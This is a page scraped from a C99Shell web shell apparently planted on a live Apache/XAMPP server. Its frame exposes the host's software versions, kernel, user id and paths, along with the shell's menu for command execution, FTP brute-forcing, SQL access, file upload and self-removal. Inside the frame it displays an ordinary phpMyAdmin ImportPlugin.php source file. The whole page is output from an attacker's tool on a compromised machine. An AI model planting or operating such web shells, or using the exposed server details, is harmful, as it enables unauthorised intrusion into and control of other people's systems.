!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/libraries/classes/Plugins/   drwxr-xr-x
Free 13.77 GB of 61.93 GB (22.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ImportPlugin.php (2.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Abstract class for the import plugins
 */

declare(strict_types=1);

namespace 
PhpMyAdmin\Plugins;

use 
PhpMyAdmin\File;
use 
PhpMyAdmin\Import;
use 
PhpMyAdmin\Properties\Plugins\ImportPluginProperties;
use 
PhpMyAdmin\Properties\Plugins\PluginPropertyItem;

use function 
strlen;

/**
 * Provides a common interface that will have to be implemented by all of the
 * import plugins.
 */
abstract class ImportPlugin implements Plugin
{
    
/**
     * Object containing the import plugin properties.
     *
     * @var ImportPluginProperties
     */
    
protected $properties;

    
/** @var Import */
    
protected $import;

    final public function 
__construct()
    {
        
$this->import = new Import();
        
$this->init();
        
$this->properties $this->setProperties();
    }

    
/**
     * Plugin specific initializations.
     */
    
protected function init(): void
    
{
    }

    
/**
     * Handles the whole import logic
     *
     * @param array $sql_data 2-element array with sql data
     */
    
abstract public function doImport(?File $importHandle null, array &$sql_data = []): void;

    
/**
     * Gets the import specific format plugin properties
     *
     * @return ImportPluginProperties
     */
    
public function getProperties(): PluginPropertyItem
    
{
        return 
$this->properties;
    }

    
/**
     * Sets the export plugins properties and is implemented by each import plugin.
     */
    
abstract protected function setProperties(): ImportPluginProperties;

    
/**
     * Define DB name and options
     *
     * @param string $currentDb DB
     * @param string $defaultDb Default DB name
     *
     * @return array DB name and options (an associative array of options)
     */
    
protected function getDbnameAndOptions($currentDb$defaultDb)
    {
        
$db_name $defaultDb;
        
$options null;

        if (
strlen((string) $currentDb) > 0) {
            
$db_name $currentDb;
            
$options = ['create_db' => false];
        }

        return [
            
$db_name,
            
$options,
        ];
    }

    public function 
isAvailable(): bool
    
{
        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4878 ]--